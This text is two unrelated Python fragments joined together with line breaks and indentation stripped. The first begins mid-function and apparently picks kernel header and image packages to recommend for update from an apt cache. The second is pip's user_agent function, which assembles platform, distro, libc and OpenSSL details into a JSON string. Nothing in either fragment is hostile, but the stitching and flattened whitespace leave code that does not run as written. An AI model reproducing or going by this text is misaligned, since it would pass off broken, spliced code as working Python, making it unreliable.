'linux-headers-VERSION-generic', 'linux-image-VERSION-generic', 'linux-image-extra-VERSION-generic' ]: pkgname = pkgname.replace( 'VERSION', recommended_kernel.std_version) if pkgname in self.cache: pkg = self.cache[pkgname] if not pkg.is_installed: self.add_update(pkg, kernel_update=True) return # We've gone past all the metas, so we should recommend the latest kernel on the series we're in max_kernel = uname_kernel for pkg in self.cache: package_name = pkg.name if (package_name.startswith("linux-image-3") or package_name.startswith("linux-image-4") ) and package_name.endswith("-generic"): version = package_name.replace("linux-image-", "").replace( "-generic", "") kernel = KernelVersion(version) if kernel.numeric_representation > max_kernel.numeric_representation and kernel.series == max_kernel.series: max_kernel = kernel if max_kernel.numeric_representation != uname_kernel.numeric_representation: for pkgname in [ 'linux-headers-VERSION', 'linux-headers-VERSION-generic', 'linux-image-VERSION-generic', 'linux-image-extra-VERSION-generic' ]: pkgname = pkgname.replace('VERSION', max_kernel.std_version) if pkgname in self.cache: pkg = self.cache[pkgname] if not pkg.is_installed: self.add_update(pkg, kernel_update=True) except Exception as e: print(sys.exc_info()[0])
def user_agent(): """ Return a string representing the user agent. """ data = { "installer": {"name": "pip", "version": pip.__version__}, "python": platform.python_version(), "implementation": { "name": platform.python_implementation(), }, } if data["implementation"]["name"] == 'CPython': data["implementation"]["version"] = platform.python_version() elif data["implementation"]["name"] == 'PyPy': if sys.pypy_version_info.releaselevel == 'final': pypy_version_info = sys.pypy_version_info[:3] else: pypy_version_info = sys.pypy_version_info data["implementation"]["version"] = ".".join( [str(x) for x in pypy_version_info] ) elif data["implementation"]["name"] == 'Jython': # Complete Guess data["implementation"]["version"] = platform.python_version() elif data["implementation"]["name"] == 'IronPython': # Complete Guess data["implementation"]["version"] = platform.python_version() if sys.platform.startswith("linux"): from pip._vendor import distro distro_infos = dict(filter( lambda x: x[1], zip(["name", "version", "id"], distro.linux_distribution()), )) libc = dict(filter( lambda x: x[1], zip(["lib", "version"], libc_ver()), )) if libc: distro_infos["libc"] = libc if distro_infos: data["distro"] = distro_infos if sys.platform.startswith("darwin") and platform.mac_ver()[0]: data["distro"] = {"name": "macOS", "version": platform.mac_ver()[0]} if platform.system(): data.setdefault("system", {})["name"] = platform.system() if platform.release(): data.setdefault("system", {})["release"] = platform.release() if platform.machine(): data["cpu"] = platform.machine() if HAS_TLS: data["openssl_version"] = ssl.OPENSSL_VERSION setuptools_version = get_installed_version("setuptools") if setuptools_version is not None: data["setuptools_version"] = setuptools_version return "{data[installer][name]}/{data[installer][version]} {json}".format( data=data, json=json.dumps(data, separators=(",", ":"), sort_keys=True), )